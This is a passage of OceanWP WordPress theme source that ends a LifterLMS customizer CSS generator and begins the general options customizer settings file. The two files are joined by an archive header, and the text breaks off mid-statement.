'ocean_llms_lesson_title_color' ); $lesson_description_color = get_theme_mod( 'ocean_llms_lesson_description_color' ); // Both Sidebars - Global $llms_global_layout = get_theme_mod( 'ocean_llms_global_layout', 'full-width' ); $bs_global_content_width = get_theme_mod( 'ocean_llms_global_both_sidebars_content_width' ); $bs_global_sidebars_width = get_theme_mod( 'ocean_llms_global_both_sidebars_sidebars_width' ); // Both Sidebars - Course $llms_course_layout = get_theme_mod( 'ocean_llms_course_layout', 'left-sidebar' ); $bs_course_content_width = get_theme_mod( 'ocean_llms_course_both_sidebars_content_width' ); $bs_course_sidebars_width = get_theme_mod( 'ocean_llms_course_both_sidebars_sidebars_width' ); // Both Sidebars - Lesson $llms_lesson_layout = get_theme_mod( 'ocean_llms_lesson_layout', 'left-sidebar' ); $bs_lesson_content_width = get_theme_mod( 'ocean_llms_lesson_both_sidebars_content_width' ); $bs_lesson_sidebars_width = get_theme_mod( 'ocean_llms_lesson_both_sidebars_sidebars_width' ); // Define css var $css = ''; // Product padding if ( isset( $llms_top_padding ) && '' != $llms_top_padding || isset( $llms_right_padding ) && '' != $llms_right_padding || isset( $llms_bottom_padding ) && '' != $llms_bottom_padding || isset( $llms_left_padding ) && '' != $llms_left_padding ) { $css .= '.llms-loop-item .llms-loop-item-content{padding:'. oceanwp_spacing_css( $llms_top_padding, $llms_right_padding, $llms_bottom_padding, $llms_left_padding ) .'}'; } // Tablet llms padding if ( isset( $tablet_llms_top_padding ) && '' != $tablet_llms_top_padding || isset( $tablet_llms_right_padding ) && '' != $tablet_llms_right_padding || isset( $tablet_llms_bottom_padding ) && '' != $tablet_llms_bottom_padding || isset( $tablet_llms_left_padding ) && '' != $tablet_llms_left_padding ) { $css .= '@media (max-width: 768px){.llms-loop-item .llms-loop-item-content{padding:'. oceanwp_spacing_css( $tablet_llms_top_padding, $tablet_llms_right_padding, $tablet_llms_bottom_padding, $tablet_llms_left_padding ) .'}}'; } // Mobile llms padding if ( isset( $mobile_llms_top_padding ) && '' != $mobile_llms_top_padding || isset( $mobile_llms_right_padding ) && '' != $mobile_llms_right_padding || isset( $mobile_llms_bottom_padding ) && '' != $mobile_llms_bottom_padding || isset( $mobile_llms_left_padding ) && '' != $mobile_llms_left_padding ) { $css .= '@media (max-width: 480px){.llms-loop-item .llms-loop-item-content{padding:'. oceanwp_spacing_css( $mobile_llms_top_padding, $mobile_llms_right_padding, $mobile_llms_bottom_padding, $mobile_llms_left_padding ) .'}}'; } // Product image margin if ( isset( $llms_image_top_margin ) && '' != $llms_image_top_margin || isset( $llms_image_right_margin ) && '' != $llms_image_right_margin || isset( $llms_image_bottom_margin ) && '' != $llms_image_bottom_margin || isset( $llms_image_left_margin ) && '' != $llms_image_left_margin ) { $css .= '.llms-loop-item .llms-loop-item-content .llms-featured-image{margin:'. oceanwp_spacing_css( $llms_image_top_margin, $llms_image_right_margin, $llms_image_bottom_margin, $llms_image_left_margin ) .'}'; } // Tablet llms image margin if ( isset( $tablet_llms_image_top_margin ) && '' != $tablet_llms_image_top_margin || isset( $tablet_llms_image_right_margin ) && '' != $tablet_llms_image_right_margin || isset( $tablet_llms_image_bottom_margin ) && '' != $tablet_llms_image_bottom_margin || isset( $tablet_llms_image_left_margin ) && '' != $tablet_llms_image_left_margin ) { $css .= '@media (max-width: 768px){.llms-loop-item .llms-loop-item-content .llms-featured-image{margin:'. oceanwp_spacing_css( $tablet_llms_image_top_margin, $tablet_llms_image_right_margin, $tablet_llms_image_bottom_margin, $tablet_llms_image_left_margin ) .'}}'; } // Mobile llms image margin if ( isset( $mobile_llms_image_top_margin ) && '' != $mobile_llms_image_top_margin || isset( $mobile_llms_image_right_margin ) && '' != $mobile_llms_image_right_margin || isset( $mobile_llms_image_bottom_margin ) && '' != $mobile_llms_image_bottom_margin || isset( $mobile_llms_image_left_margin ) && '' != $mobile_llms_image_left_margin ) { $css .= '@media (max-width: 480px){.llms-loop-item .llms-loop-item-content .llms-featured-image{margin:'. oceanwp_spacing_css( $mobile_llms_image_top_margin, $mobile_llms_image_right_margin, $mobile_llms_image_bottom_margin, $mobile_llms_image_left_margin ) .'}}'; } // Product border style if border width if ( isset( $llms_top_border_width ) && '' != $llms_top_border_width || isset( $llms_right_border_width ) && '' != $llms_right_border_width || isset( $llms_bottom_border_width ) && '' != $llms_bottom_border_width || isset( $llms_left_border_width ) && '' != $llms_left_border_width || isset( $tablet_llms_top_border_width ) && '' != $tablet_llms_top_border_width || isset( $tablet_llms_right_border_width ) && '' != $tablet_llms_right_border_width || isset( $tablet_llms_bottom_border_width ) && '' != $tablet_llms_bottom_border_width || isset( $tablet_llms_left_border_width ) && '' != $tablet_llms_left_border_width || isset( $mobile_llms_top_border_width ) && '' != $mobile_llms_top_border_width || isset( $mobile_llms_right_border_width ) && '' != $mobile_llms_right_border_width || isset( $mobile_llms_bottom_border_width ) && '' != $mobile_llms_bottom_border_width || isset( $mobile_llms_left_border_width ) && '' != $mobile_llms_left_border_width ) { $css .= '.llms-loop-item .llms-loop-item-content{border-style: solid}'; } // Product border width if ( isset( $llms_top_border_width ) && '' != $llms_top_border_width || isset( $llms_right_border_width ) && '' != $llms_right_border_width || isset( $llms_bottom_border_width ) && '' != $llms_bottom_border_width || isset( $llms_left_border_width ) && '' != $llms_left_border_width ) { $css .= '.llms-loop-item .llms-loop-item-content{border-width:'. oceanwp_spacing_css( $llms_top_border_width, $llms_right_border_width, $llms_bottom_border_width, $llms_left_border_width ) .'}'; } // Tablet llms border width if ( isset( $tablet_llms_top_border_width ) && '' != $tablet_llms_top_border_width || isset( $tablet_llms_right_border_width ) && '' != $tablet_llms_right_border_width || isset( $tablet_llms_bottom_border_width ) && '' != $tablet_llms_bottom_border_width || isset( $tablet_llms_left_border_width ) && '' != $tablet_llms_left_border_width ) { $css .= '@media (max-width: 768px){.llms-loop-item .llms-loop-item-content{border-width:'. oceanwp_spacing_css( $tablet_llms_top_border_width, $tablet_llms_right_border_width, $tablet_llms_bottom_border_width, $tablet_llms_left_border_width ) .'}}'; } // Mobile llms border width if ( isset( $mobile_llms_top_border_width ) && '' != $mobile_llms_top_border_width || isset( $mobile_llms_right_border_width ) && '' != $mobile_llms_right_border_width || isset( $mobile_llms_bottom_border_width ) && '' != $mobile_llms_bottom_border_width || isset( $mobile_llms_left_border_width ) && '' != $mobile_llms_left_border_width ) { $css .= '@media (max-width: 480px){.llms-loop-item .llms-loop-item-content{border-width:'. oceanwp_spacing_css( $mobile_llms_top_border_width, $mobile_llms_right_border_width, $mobile_llms_bottom_border_width, $mobile_llms_left_border_width ) .'}}'; } // Product border radius if ( isset( $llms_top_border_radius ) && '' != $llms_top_border_radius || isset( $llms_right_border_radius ) && '' != $llms_right_border_radius || isset( $llms_bottom_border_radius ) && '' != $llms_bottom_border_radius || isset( $llms_left_border_radius ) && '' != $llms_left_border_radius ) { $css .= '.llms-loop-item .llms-loop-item-content{border-radius:'. oceanwp_spacing_css( $llms_top_border_radius, $llms_right_border_radius, $llms_bottom_border_radius, $llms_left_border_radius ) .'}'; } // Tablet llms border radius if ( isset( $tablet_llms_top_border_radius ) && '' != $tablet_llms_top_border_radius || isset( $tablet_llms_right_border_radius ) && '' != $tablet_llms_right_border_radius || isset( $tablet_llms_bottom_border_radius ) && '' != $tablet_llms_bottom_border_radius || isset( $tablet_llms_left_border_radius ) && '' != $tablet_llms_left_border_radius ) { $css .= '@media (max-width: 768px){.llms-loop-item .llms-loop-item-content{border-radius:'. oceanwp_spacing_css( $tablet_llms_top_border_radius, $tablet_llms_right_border_radius, $tablet_llms_bottom_border_radius, $tablet_llms_left_border_radius ) .'}}'; } // Mobile llms border radius if ( isset( $mobile_llms_top_border_radius ) && '' != $mobile_llms_top_border_radius || isset( $mobile_llms_right_border_radius ) && '' != $mobile_llms_right_border_radius || isset( $mobile_llms_bottom_border_radius ) && '' != $mobile_llms_bottom_border_radius || isset( $mobile_llms_left_border_radius ) && '' != $mobile_llms_left_border_radius ) { $css .= '@media (max-width: 480px){.llms-loop-item .llms-loop-item-content{border-radius:'. oceanwp_spacing_css( $mobile_llms_top_border_radius, $mobile_llms_right_border_radius, $mobile_llms_bottom_border_radius, $mobile_llms_left_border_radius ) .'}}'; } // Add background color if ( ! empty( $llms_background_color && '#f1f1f1' != $llms_background_color ) ) { $css .= '.llms-loop-item .llms-loop-item-content{background-color:'. $llms_background_color .';}'; } // Add border color if ( ! empty( $llms_border_color ) ) { $css .= '.llms-loop-item .llms-loop-item-content{border-color:'. $llms_border_color .';}'; } // Add llms entry title color if ( ! empty( $llms_title_color ) ) { $css .= '.llms-loop-item-content .llms-loop-title{color:'. $llms_title_color .';}'; } // Add llms entry title color hover if ( ! empty( $llms_title_color_hover ) && '#13aff0' != $llms_title_color_hover ) { $css .= '.llms-loop-item-content .llms-loop-title:hover{color:'. $llms_title_color_hover .';}'; } // Add author color if ( ! empty( $author_color ) && '#444' != $author_color ) { $css .= '.llms-loop-item-content .llms-author{color:'. $author_color .';}'; } // Add meta color if ( ! empty( $meta_color ) && '#444' != $meta_color ) { $css .= '.llms-loop-item-content .llms-meta{color:'. $meta_color .';}'; } // Course Title Color if ( ! empty( $course_title_color ) ) { $css .= '.single-course .entry-title{color:'. $course_title_color .';}'; } // Course Sub Title Color if ( ! empty( $course_subtitle_color ) ) { $css .= '.single-course .llms-meta-title{color:'. $course_subtitle_color .';}'; } // Course Meta Title Color if ( ! empty( $course_meta_title_color ) && '#333' != $course_meta_title_color ) { $css .= '.llms-meta-info .llms-meta p{color:'. $course_meta_title_color .';}'; } // Course Meta Link Color if ( ! empty( $course_meta_link_color ) && '#929292' != $course_meta_link_color ) { $css .= '.llms-meta-info .llms-meta span, .llms-meta-info .llms-meta a{color:'. $course_meta_link_color .';}'; } // Course Meta Link Color Hover if ( ! empty( $course_meta_link_color_hover ) ) { $css .= '.llms-meta-info .llms-meta a:hover{color:'. $course_meta_link_color_hover .';}'; } // Course Author Color if ( ! empty( $course_author_color ) ) { $css .= '.llms-instructor-info .llms-instructors .llms-author{color:'. $course_author_color .';}'; } // Course Progress Color if ( ! empty( $course_progress_color ) ) { $css .= '.llms-progress .progress-bar-complete{color:'. $course_progress_color .';}'; } // Course Section Title Color if ( ! empty( $course_section_title_color ) && '#fff' != $course_section_title_color ) { $css .= '.llms-syllabus-wrapper .llms-section-title, .llms-access-plan-title{color:'. $course_section_title_color .';}'; } // Course Section Title Color if ( ! empty( $course_section_title_background ) ) { $css .= '.llms-syllabus-wrapper .llms-section-title, .llms-access-plan-title{background-color:'. $course_section_title_background .';}'; } // Lesson Title Color if ( ! empty( $lesson_title_color ) ) { $css .= '.single-lesson .entry-title{color:'. $lesson_title_color .';}'; } // Course Progress Color if ( ! empty( $lesson_description_color ) ) { $css .= '.single-lesson .entry-content{color:'. $lesson_description_color .';}'; } // LifterLMS Both Sidebars - Global if ( 'both-sidebars' == $llms_global_layout ) { // Both Sidebars layout LLMS Global page content width if ( ! empty( $bs_global_content_width ) ) { $css .= '@media only screen and (min-width: 960px){ body.llms-global-layout.content-both-sidebars .content-area {width: '. $bs_global_content_width .'%;} body.llms-global-layout.content-both-sidebars.scs-style .widget-area.sidebar-secondary, body.llms-global-layout.content-both-sidebars.ssc-style .widget-area {left: -'. $bs_global_content_width .'%;} }'; } // Both Sidebars layout LLMS Global sidebars width if ( ! empty( $bs_global_sidebars_width ) ) { $css .= '@media only screen and (min-width: 960px){ body.llms-global-layout.content-both-sidebars .widget-area{width:'. $bs_global_sidebars_width .'%;} body.llms-global-layout.content-both-sidebars.scs-style .content-area{left:'. $bs_global_sidebars_width .'%;} body.llms-global-layout.content-both-sidebars.ssc-style .content-area{left:'. $bs_global_sidebars_width * 2 .'%;} }'; } } // LifterLMS Both Sidebars - Course if ( 'both-sidebars' == $llms_course_layout ) { // Both Sidebars layout LLMS Course page content width if ( ! empty( $bs_course_content_width ) ) { $css .= '@media only screen and (min-width: 960px){ body.single-course.content-both-sidebars .content-area {width: '. $bs_course_content_width .'%;} body.single-course.content-both-sidebars.scs-style .widget-area.sidebar-secondary, body.single-course.content-both-sidebars.ssc-style .widget-area {left: -'. $bs_course_content_width .'%;} }'; } // Both Sidebars layout LLMS Course sidebars width if ( ! empty( $bs_course_sidebars_width ) ) { $css .= '@media only screen and (min-width: 960px){ body.single-course.content-both-sidebars .widget-area{width:'. $bs_course_sidebars_width .'%;} body.single-course.content-both-sidebars.scs-style .content-area{left:'. $bs_course_sidebars_width .'%;} body.single-course.content-both-sidebars.ssc-style .content-area{left:'. $bs_course_sidebars_width * 2 .'%;} }'; } } // LifterLMS Both Sidebars - Lesson if ( 'both-sidebars' == $llms_lesson_layout ) { // Both Sidebars layout LLMS Lesson page content width if ( ! empty( $bs_lesson_content_width ) ) { $css .= '@media only screen and (min-width: 960px){ body.single-lesson.content-both-sidebars .content-area {width: '. $bs_lesson_content_width .'%;} body.single-lesson.content-both-sidebars.scs-style .widget-area.sidebar-secondary, body.single-lesson.content-both-sidebars.ssc-style .widget-area {left: -'. $bs_lesson_content_width .'%;} }'; } // Both Sidebars layout LLMS Lesson sidebars width if ( ! empty( $bs_lesson_sidebars_width ) ) { $css .= '@media only screen and (min-width: 960px){ body.single-lesson.content-both-sidebars .widget-area{width:'. $bs_lesson_sidebars_width .'%;} body.single-lesson.content-both-sidebars.scs-style .content-area{left:'. $bs_lesson_sidebars_width .'%;} body.single-lesson.content-both-sidebars.ssc-style .content-area{left:'. $bs_lesson_sidebars_width * 2 .'%;} }'; } } // Return CSS if ( ! empty( $css ) ) { $output .= '/* LifterLMS CSS */'. $css; } // Return output css return $output; } } endif; return new OceanWP_LifterLMS_Customizer();customizer/settings/general.php000064400000543662151551031110012747 0ustar00add_panel( $panel, array( 'title' => esc_html__( 'General Options', 'oceanwp' ), 'priority' => 210, ) ); /** * Section */ $wp_customize->add_section( 'ocean_general_styling', array( 'title' => esc_html__( 'General Styling', 'oceanwp' ), 'priority' => 10, 'panel' => $panel, ) ); /** * Styling */ $wp_customize->add_setting( 'ocean_customzer_styling', array( 'transport' => 'postMessage', 'default' => 'head', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( 'ocean_customzer_styling', array( 'label' => esc_html__( 'Styling Options Location', 'oceanwp' ), 'description' => esc_html__( 'Both settings apply only to the custom CSS added in the Custom CSS field in the Customizer. If you choose the Custom File location, a dedicated CSS file will be created in your uploads folder of your WordPress installation.', 'oceanwp' ), 'type' => 'radio', 'section' => 'ocean_general_styling', 'settings' => 'ocean_customzer_styling', 'priority' => 10, 'choices' => array( 'head' => esc_html__( 'WP Head', 'oceanwp' ), 'file' => esc_html__( 'Custom File', 'oceanwp' ), ), ) ); /** * Primary Color */ $wp_customize->add_setting( 'ocean_primary_color', array( 'transport' => 'postMessage', 'default' => '#13aff0', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_primary_color', array( 'label' => esc_html__( 'Primary Color', 'oceanwp' ), 'section' => 'ocean_general_styling', 'settings' => 'ocean_primary_color', 'priority' => 10, ) ) ); /** * Hover Primary Color */ $wp_customize->add_setting( 'ocean_hover_primary_color', array( 'transport' => 'postMessage', 'default' => '#0b7cac', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_hover_primary_color', array( 'label' => esc_html__( 'Hover Primary Color', 'oceanwp' ), 'section' => 'ocean_general_styling', 'settings' => 'ocean_hover_primary_color', 'priority' => 10, ) ) ); /** * Main Border Color */ $wp_customize->add_setting( 'ocean_main_border_color', array( 'transport' => 'postMessage', 'default' => '#e9e9e9', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_main_border_color', array( 'label' => esc_html__( 'Main Border Color', 'oceanwp' ), 'section' => 'ocean_general_styling', 'settings' => 'ocean_main_border_color', 'priority' => 10, ) ) ); /** * Heading Site Background */ $wp_customize->add_setting( 'ocean_site_background_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_site_background_heading', array( 'label' => esc_html__( 'Site Background', 'oceanwp' ), 'section' => 'ocean_general_styling', 'priority' => 10, ) ) ); /** * Site Background */ $wp_customize->add_setting( 'ocean_background_color', array( 'transport' => 'postMessage', 'default' => '#ffffff', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_background_color', array( 'label' => esc_html__( 'Background Color', 'oceanwp' ), 'section' => 'ocean_general_styling', 'settings' => 'ocean_background_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_hasnt_boxed_layout', ) ) ); /** * Site Background Image */ $wp_customize->add_setting( 'ocean_background_image', array( 'sanitize_callback' => 'oceanwp_sanitize_image', ) ); $wp_customize->add_control( new WP_Customize_Image_Control( $wp_customize, 'ocean_background_image', array( 'label' => esc_html__( 'Background Image', 'oceanwp' ), 'section' => 'ocean_general_styling', 'settings' => 'ocean_background_image', 'priority' => 10, ) ) ); /** * Site Background Image Position */ $wp_customize->add_setting( 'ocean_background_image_position', array( 'transport' => 'postMessage', 'default' => 'initial', 'sanitize_callback' => 'sanitize_text_field', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_background_image_position', array( 'label' => esc_html__( 'Position', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_general_styling', 'settings' => 'ocean_background_image_position', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_background_image', 'choices' => array( 'initial' => esc_html__( 'Default', 'oceanwp' ), 'top left' => esc_html__( 'Top Left', 'oceanwp' ), 'top center' => esc_html__( 'Top Center', 'oceanwp' ), 'top right' => esc_html__( 'Top Right', 'oceanwp' ), 'center left' => esc_html__( 'Center Left', 'oceanwp' ), 'center center' => esc_html__( 'Center Center', 'oceanwp' ), 'center right' => esc_html__( 'Center Right', 'oceanwp' ), 'bottom left' => esc_html__( 'Bottom Left', 'oceanwp' ), 'bottom center' => esc_html__( 'Bottom Center', 'oceanwp' ), 'bottom right' => esc_html__( 'Bottom Right', 'oceanwp' ), ), ) ) ); /** * Site Background Image Attachment */ $wp_customize->add_setting( 'ocean_background_image_attachment', array( 'transport' => 'postMessage', 'default' => 'initial', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_background_image_attachment', array( 'label' => esc_html__( 'Attachment', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_general_styling', 'settings' => 'ocean_background_image_attachment', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_background_image', 'choices' => array( 'initial' => esc_html__( 'Default', 'oceanwp' ), 'scroll' => esc_html__( 'Scroll', 'oceanwp' ), 'fixed' => esc_html__( 'Fixed', 'oceanwp' ), ), ) ) ); /** * Site Background Image Repeat */ $wp_customize->add_setting( 'ocean_background_image_repeat', array( 'transport' => 'postMessage', 'default' => 'initial', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_background_image_repeat', array( 'label' => esc_html__( 'Repeat', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_general_styling', 'settings' => 'ocean_background_image_repeat', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_background_image', 'choices' => array( 'initial' => esc_html__( 'Default', 'oceanwp' ), 'no-repeat' => esc_html__( 'No-repeat', 'oceanwp' ), 'repeat' => esc_html__( 'Repeat', 'oceanwp' ), 'repeat-x' => esc_html__( 'Repeat-x', 'oceanwp' ), 'repeat-y' => esc_html__( 'Repeat-y', 'oceanwp' ), ), ) ) ); /** * Site Background Image Size */ $wp_customize->add_setting( 'ocean_background_image_size', array( 'transport' => 'postMessage', 'default' => 'initial', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_background_image_size', array( 'label' => esc_html__( 'Size', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_general_styling', 'settings' => 'ocean_background_image_size', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_background_image', 'choices' => array( 'initial' => esc_html__( 'Default', 'oceanwp' ), 'auto' => esc_html__( 'Auto', 'oceanwp' ), 'cover' => esc_html__( 'Cover', 'oceanwp' ), 'contain' => esc_html__( 'Contain', 'oceanwp' ), ), ) ) ); /** * Heading Links Color */ $wp_customize->add_setting( 'ocean_links_color_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_links_color_heading', array( 'label' => esc_html__( 'Links Color', 'oceanwp' ), 'section' => 'ocean_general_styling', 'priority' => 10, ) ) ); /** * Links Color */ $wp_customize->add_setting( 'ocean_links_color', array( 'transport' => 'postMessage', 'default' => '#333333', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_links_color', array( 'label' => esc_html__( 'Color', 'oceanwp' ), 'section' => 'ocean_general_styling', 'settings' => 'ocean_links_color', 'priority' => 10, ) ) ); /** * Links Color Hover */ $wp_customize->add_setting( 'ocean_links_color_hover', array( 'transport' => 'postMessage', 'default' => '#13aff0', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_links_color_hover', array( 'label' => esc_html__( 'Color: Hover', 'oceanwp' ), 'section' => 'ocean_general_styling', 'settings' => 'ocean_links_color_hover', 'priority' => 10, ) ) ); /** * Section */ $wp_customize->add_section( 'ocean_general_settings', array( 'title' => esc_html__( 'General Settings', 'oceanwp' ), 'priority' => 10, 'panel' => $panel, ) ); /** * Main Layout Style */ $wp_customize->add_setting( 'ocean_main_layout_style', array( 'default' => 'wide', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Buttonset_Control( $wp_customize, 'ocean_main_layout_style', array( 'label' => esc_html__( 'Layout Style', 'oceanwp' ), 'section' => 'ocean_general_settings', 'settings' => 'ocean_main_layout_style', 'priority' => 10, 'choices' => array( 'wide' => esc_html__( 'Wide', 'oceanwp' ), 'boxed' => esc_html__( 'Boxed', 'oceanwp' ), 'separate' => esc_html__( 'Separate', 'oceanwp' ), ), ) ) ); /** * Boxed Layout Drop-Shadow */ $wp_customize->add_setting( 'ocean_boxed_dropdshadow', array( 'transport' => 'postMessage', 'default' => true, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_boxed_dropdshadow', array( 'label' => esc_html__( 'Boxed Layout Drop-Shadow', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_general_settings', 'settings' => 'ocean_boxed_dropdshadow', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_boxed_layout', ) ) ); /** * Boxed Width */ $wp_customize->add_setting( 'ocean_boxed_width', array( 'transport' => 'postMessage', 'default' => '1280', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_control( new OceanWP_Customizer_Range_Control( $wp_customize, 'ocean_boxed_width', array( 'label' => esc_html__( 'Boxed Width (px)', 'oceanwp' ), 'section' => 'ocean_general_settings', 'settings' => 'ocean_boxed_width', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_boxed_layout', 'input_attrs' => array( 'min' => 0, 'max' => 4000, 'step' => 1, ), ) ) ); /** * Boxed Outside Background */ $wp_customize->add_setting( 'ocean_boxed_outside_bg', array( 'transport' => 'postMessage', 'default' => '#e9e9e9', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_boxed_outside_bg', array( 'label' => esc_html__( 'Outside Background', 'oceanwp' ), 'section' => 'ocean_general_settings', 'settings' => 'ocean_boxed_outside_bg', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_boxed_layout', ) ) ); /** * Separate Outside Background */ $wp_customize->add_setting( 'ocean_separate_outside_bg', array( 'transport' => 'postMessage', 'default' => '#f1f1f1', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_separate_outside_bg', array( 'label' => esc_html__( 'Outside Background', 'oceanwp' ), 'section' => 'ocean_general_settings', 'settings' => 'ocean_separate_outside_bg', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_separate_layout', ) ) ); /** * Boxed Inner Background */ $wp_customize->add_setting( 'ocean_boxed_inner_bg', array( 'transport' => 'postMessage', 'default' => '#ffffff', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_boxed_inner_bg', array( 'label' => esc_html__( 'Inner Background', 'oceanwp' ), 'section' => 'ocean_general_settings', 'settings' => 'ocean_boxed_inner_bg', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_boxed_or_separate_layout', ) ) ); /** * Separate Content Padding */ $wp_customize->add_setting( 'ocean_separate_content_padding', array( 'transport' => 'postMessage', 'default' => '30px', 'sanitize_callback' => 'wp_kses_post', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_separate_content_padding', array( 'label' => esc_html__( 'Content Padding', 'oceanwp' ), 'description' => esc_html__( 'Add a custom content padding. px - em - %.', 'oceanwp' ), 'type' => 'text', 'section' => 'ocean_general_settings', 'settings' => 'ocean_separate_content_padding', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_separate_layout', ) ) ); /** * Separate Widgets Padding */ $wp_customize->add_setting( 'ocean_separate_widgets_padding', array( 'transport' => 'postMessage', 'default' => '30px', 'sanitize_callback' => 'wp_kses_post', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_separate_widgets_padding', array( 'label' => esc_html__( 'Widgets Padding', 'oceanwp' ), 'description' => esc_html__( 'Add a custom widgets padding. px - em - %.', 'oceanwp' ), 'type' => 'text', 'section' => 'ocean_general_settings', 'settings' => 'ocean_separate_widgets_padding', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_separate_layout', ) ) ); /** * Main Container Width */ $wp_customize->add_setting( 'ocean_main_container_width', array( 'transport' => 'postMessage', 'default' => '1200', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_control( new OceanWP_Customizer_Range_Control( $wp_customize, 'ocean_main_container_width', array( 'label' => esc_html__( 'Main Container Width (px)', 'oceanwp' ), 'section' => 'ocean_general_settings', 'settings' => 'ocean_main_container_width', 'priority' => 10, 'active_callback' => 'oceanwp_cac_hasnt_boxed_layout', 'input_attrs' => array( 'min' => 0, 'max' => 4096, 'step' => 1, ), ) ) ); /** * Content Width */ $wp_customize->add_setting( 'ocean_left_container_width', array( 'transport' => 'postMessage', 'default' => '72', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_control( new OceanWP_Customizer_Range_Control( $wp_customize, 'ocean_left_container_width', array( 'label' => esc_html__( 'Content Width (%)', 'oceanwp' ), 'section' => 'ocean_general_settings', 'settings' => 'ocean_left_container_width', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), ) ) ); /** * Sidebar Width */ $wp_customize->add_setting( 'ocean_sidebar_width', array( 'transport' => 'postMessage', 'default' => '28', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_control( new OceanWP_Customizer_Range_Control( $wp_customize, 'ocean_sidebar_width', array( 'label' => esc_html__( 'Sidebar Width (%)', 'oceanwp' ), 'section' => 'ocean_general_settings', 'settings' => 'ocean_sidebar_width', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), ) ) ); /** * Heading Pages */ $wp_customize->add_setting( 'ocean_pages_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_pages_heading', array( 'label' => esc_html__( 'Pages', 'oceanwp' ), 'section' => 'ocean_general_settings', 'priority' => 10, ) ) ); /** * Pages */ $wp_customize->add_setting( 'ocean_page_single_layout', array( 'default' => 'right-sidebar', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Radio_Image_Control( $wp_customize, 'ocean_page_single_layout', array( 'label' => esc_html__( 'Layout', 'oceanwp' ), 'section' => 'ocean_general_settings', 'settings' => 'ocean_page_single_layout', 'priority' => 10, 'choices' => oceanwp_customizer_layout(), ) ) ); /** * Both Sidebars Style */ $wp_customize->add_setting( 'ocean_page_single_both_sidebars_style', array( 'default' => 'scs-style', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_page_single_both_sidebars_style', array( 'label' => esc_html__( 'Both Sidebars: Style', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_general_settings', 'settings' => 'ocean_page_single_both_sidebars_style', 'priority' => 10, 'choices' => array( 'ssc-style' => esc_html__( 'Sidebar / Sidebar / Content', 'oceanwp' ), 'scs-style' => esc_html__( 'Sidebar / Content / Sidebar', 'oceanwp' ), 'css-style' => esc_html__( 'Content / Sidebar / Sidebar', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_has_page_single_bs_layout', ) ) ); /** * Both Sidebars Content Width */ $wp_customize->add_setting( 'ocean_page_single_both_sidebars_content_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 